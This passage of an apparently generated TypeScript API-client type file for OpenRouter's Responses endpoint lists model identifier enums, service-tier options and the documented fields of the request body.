'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostResponsesRequestModelEnumKey = + (typeof openrouterPostResponsesRequestModelEnum)[keyof typeof openrouterPostResponsesRequestModelEnum] + +export const openrouterPostResponsesRequestServiceTierEnum = { + auto: 'auto', + default: 'default', + fast: 'fast', + flex: 'flex', + priority: 'priority', + scale: 'scale', + ultrafast: 'ultrafast', +} as const + +export type OpenrouterPostResponsesRequestServiceTierEnumKey = + (typeof openrouterPostResponsesRequestServiceTierEnum)[keyof typeof openrouterPostResponsesRequestServiceTierEnum] + +export const openrouterPostResponsesRequestToolsAllowedCallersEnum = { + direct: 'direct', + programmatic: 'programmatic', +} as const + +export type OpenrouterPostResponsesRequestToolsAllowedCallersEnumKey = + (typeof openrouterPostResponsesRequestToolsAllowedCallersEnum)[keyof typeof openrouterPostResponsesRequestToolsAllowedCallersEnum] + +/** + * @description Request schema for Responses endpoint + * @example {"input":[{"content":"Hello, how are you?","role":"user","type":"message"}],"model":"anthropic/claude-4.5-sonnet-20250929","temperature":0.7,"tools":[{"description":"Get the current weather in a given location","name":"get_current_weather","parameters":{"properties":{"location":{"type":"string"}},"type":"object"},"type":"function"}],"top_p":0.9} + * @type object + */ +export type OpenrouterPostResponsesBody = { + /** + * @description OpenAI access programs for this request. `cyber` selects the Cyber access program: `standard`, `daybreak_blue`, or `daybreak_red`. A program other than `standard` is supported only on BYOK requests that run on your own OpenAI key enrolled in that program; any other endpoint, including OpenRouter's own OpenAI credentials, rejects it with a 400 error. Requests on OpenRouter's OpenAI credentials always run `standard`. Omit the field unless your key is enrolled in a Daybreak program. + * @example {"cyber":"standard"} + * @type object | undefined + */ + access_programs?: { + cyber?: OpenrouterPostResponsesRequestAccessProgramsCyberEnumKey + } + background?: boolean | null + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + /** + * @description Debug options for inspecting request transformations (streaming only) + * @example {"echo_upstream_body":true} + * @type object | undefined + */ + debug?: ChatDebugOptions + /** + * @description Opt-in versioned router-level deferred-tool protocol. Replay assistant reasoning unchanged on continuation; keep the catalog unchanged. + * @example {"profile":"portable","protocol":"v1","search":{"max_results":5,"type":"bm25"},"validation":"runtime"} + * @type object | undefined + */ + deferred_tools?: DeferredToolsControl + /** + * @description + * Format: `double` + * @type number | undefined + */ + frequency_penalty?: number | null + /** + * @description Provider-specific image configuration options. Keys and values vary by model/provider. See https://openrouter.ai/docs/guides/overview/multimodal/image-generation for more details. + * @example {"aspect_ratio":"16:9","quality":"high"} + * @type object | undefined + */ + image_config?: ImageConfig + include?: ResponseIncludesEnumKey[] | null + /** + * @description Input for a response request - can be a string or array of items + * @example [{"content":"What is the weather today?","role":"user"}] + */ + input?: Inputs + instructions?: string | null + max_output_tokens?: number | null + /** + * @description Maximum number of server-tool (e.g. `openrouter:web_search`) agent steps the model may take during a request. Defaults to 30, which is also the maximum. Ignored when `stop_server_tools_when` is set. + * @example 30 + * @type integer | undefined + */ + max_tool_calls?: number | null + /** + * @description Metadata key-value pairs for the request. Keys must be ≤64 characters and cannot contain brackets. Values must be ≤512 characters. Maximum 16 pairs allowed. + * @example {"session_id":"abc-def-ghi","user_id":"123"} + * @type object | undefined + */ + metadata?: RequestMetadata | null + /** + * @description Output modalities for the response. Supported values are "text" and "image". + * @example ["text","image"] + * @type array | undefined + */ + modalities?: OutputModalityEnumKey[] + model?: OpenrouterPostResponsesRequestModelEnumKey + models?: string[] + parallel_tool_calls?: boolean | null + /** + * @description Plugins you want to enable for this request, including their settings. + * @type array | undefined + */ + plugins?: ( + | (AutoRouterPlugin & { + id: 'auto-router' + }) + | (AutoBetaRouterPlugin & { + id: 'auto-beta-router' + }) + | (ModerationPlugin & { + id: 'moderation' + }) + | (WebSearchPlugin & { + id: 'web' + }) + | (WebFetchPlugin & { + id: 'web-fetch' + }) + | (FileParserPlugin & { + id: 'file-parser' + }) + | (ResponseHealingPlugin & { + id: 'response-healing' + }) + | (ContextCompressionPlugin & { + id: 'context-compression' + }) + | (ParetoRouterPlugin & { + id: 'pareto-router' + }) + | (FusionPlugin & { + id: 'fusion' + }) + | (SwitchyardRouterPlugin & { + id: 'switchyard-router' + }) + | (JevRouterPlugin & { + id: 'jev-router' + }) + | (AlignmentPlugin & { + id: 'alignment' + }) + | (ArmorPlugin & { + id: 'armor' + }) + )[] + /** + * @description + * Format: `double` + * @type number | undefined + */ + presence_penalty?: number | null + /** + * @description Not supported on this proxy. Each response request is independent: no responses are stored, so a previous response cannot be referenced. Requests with a non-null value are rejected with a 400 error. Send the full conversation history in `input` instead. + * @type unknown | undefined + */ + previous_response_id?: unknown + /** + * @example {"id":"prompt-abc123","variables":{"name":"John"}} + * @type object | undefined + */ + prompt?: StoredPromptTemplate | null + prompt_cache_key?: string | null + /** + * @description Request-level prompt-cache controls. `mode: "explicit"` disables OpenAI-managed breakpoints so only blocks marked with `prompt_cache_breakpoint` are cached. `ttl` sets the minimum cache lifetime for every breakpoint the request writes: "30m" (default) or "12h" (billed at the higher 12h cache-write rate). Only supported by OpenAI GPT-5.6 and newer. + * @example {"mode":"explicit","ttl":"30m"} + * @type object | undefined + */ + prompt_cache_options?: PromptCacheOptions | null + /** + * @description When multiple model providers are available, optionally indicate your routing preference. + * @example {"allow_fallbacks":true} + * @type object | undefined + */ + provider?: ProviderPreferences | null + /** + * @description Configuration for reasoning mode in the response + * @example {"enabled":true,"summary":"auto"} + */ + reasoning?: ReasoningConfig + /** + * @description **DEPRECATED** Use providers.sort.partition instead. Backwards-compatible alias for providers.sort.partition. Accepts legacy values: "fallback" (maps to "model"), "sort" (maps to "none"). + * @deprecated + * @example fallback + * @type string | undefined + */ + route?: DeprecatedRouteKey | null + /** + * @description Recommended per-end-user identifier for abuse isolation. Use a stable ID, hash, or pseudonym. When a provider requires a user identity, OpenRouter folds it into the hashed identity sent upstream and never forwards it raw. If omitted, requests use an account-level identity, so provider policy blocks can affect the whole account. + * @example user-123 + * @type string | undefined + */ + safety_identifier?: string | null + /** + * @description The service tier to use for processing this request. `fast` is accepted as an alias for `priority`. `ultrafast` prefers ultrafast endpoints and falls back to `priority`, then default endpoints. + * @default 'auto' + * @type string | undefined + */ + service_tier?: OpenrouterPostResponsesRequestServiceTierEnumKey | null + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). When provided, OpenRouter uses it as the sticky routing key, routing all requests in the session to the same provider to maximize prompt cache hits. Also used for observability grouping. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @type string | undefined + */ + session_id?: string + /** + * @description Stop sequences (up to 4) + * @example ["\n"] + */ + stop?: string | string[] | null + /** + * @description Stop conditions for the server-tool agent loop. Any condition firing halts the loop (OR logic). When set, this overrides `max_tool_calls`. When a condition fires while the model is still emitting tool calls, the pending tool calls are executed and one final turn is made with tool calls disabled so the response ends with a natural-language answer instead of an unfinished tool call. + * @example [{"step_count":5,"type":"step_count_is"},{"max_cost_in_dollars":0.5,"type":"max_cost"}] + * @type array | undefined + */ + stop_server_tools_when?: StopServerToolsWhen + /** + * @default false + * @type boolean | undefined + */ + store?: false + /** + * @default false + * @type boolean | undefined + */ + stream?: boolean + /** + * 